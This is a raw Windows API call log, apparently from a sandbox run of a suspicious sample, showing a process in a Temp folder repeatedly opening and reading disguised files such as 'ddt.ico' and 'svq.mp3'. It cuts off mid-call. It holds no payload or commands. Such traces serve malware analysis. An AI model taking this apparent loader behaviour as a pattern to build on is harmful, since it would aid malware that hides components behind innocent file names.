CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.856] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.856] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.856] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.856] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.857] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.857] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.857] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.857] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.857] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.857] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.857] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.857] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.857] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.858] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.858] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.858] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.858] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.858] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.858] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.858] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.858] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.858] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.858] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.858] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.858] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.859] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.859] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.859] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.859] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.859] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.859] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.859] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.859] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.859] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.859] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.859] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.860] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.860] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.860] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.860] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.860] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.860] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.860] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.860] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.860] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.860] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.861] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.861] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.861] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.861] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.861] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.861] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.861] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.861] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.861] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.861] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.862] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.862] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.862] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.862] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.862] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.862] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.862] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.862] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.862] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.862] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.862] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.863] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.863] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.863] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.863] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.863] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.863] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.863] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.863] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.863] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.863] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.863] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.864] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.864] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.864] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.864] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.864] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.864] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\svq.mp3", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.864] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 3 [0071.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 3 [0071.864] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", cchCount2=53) returned 2 [0071.865] CreateFileW (lpFileName="svq.mp3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\svq.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.865] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.865] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.865] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.865] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x164, lpOverlapped=0x0) returned 1 [0071.865] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.865] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.865] GetFullPathNameW (in: lpFileName="svq.mp3", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\svq.mp3", lpFilePart=0x0) returned 0x35 [0071.865] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.865] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.865] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.866] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\Include\\ddt.ico", lpFindFileData=0x77f4e8 | out: lpFindFileData=0x77f4e8) returned 0xffffffff [0071.866] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f740, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\muu=ksm", cchCount2=53) returned 1 [0071.866] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount1=53, lpString2="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", cchCount2=53) returned 2 [0071.866] CreateFileW (lpFileName="ddt.ico" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\ddt.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0071.866] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.866] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5e4 | out: lpNewFilePointer=0x0) returned 1 [0071.866] SetFilePointerEx (in: hFile=0x1c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x77f5f4 | out: lpNewFilePointer=0x0) returned 1 [0071.866] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x15d, lpOverlapped=0x0) returned 1 [0071.866] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f61c, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f61c*=0x0, lpOverlapped=0x0) returned 1 [0071.866] GetCurrentDirectoryW (in: nBufferLength=0x7fff, lpBuffer=0x76f668 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218") returned 0x2d [0071.866] GetFullPathNameW (in: lpFileName="ddt.ico", nBufferLength=0x7fff, lpBuffer=0x76f668, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\ddt.ico", lpFilePart=0x0) returned 0x35 [0071.866] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218\\" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.867] ReadFile (in: hFile=0x1c, lpBuffer=0x820090, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0x77f614, lpOverlapped=0x0 | out: lpBuffer=0x820090*, lpNumberOfBytesRead=0x77f614*=0x0, lpOverlapped=0x0) returned 1 [0071.867] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\62890218" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218")) returned 1 [0071.867] FindFirstFileW 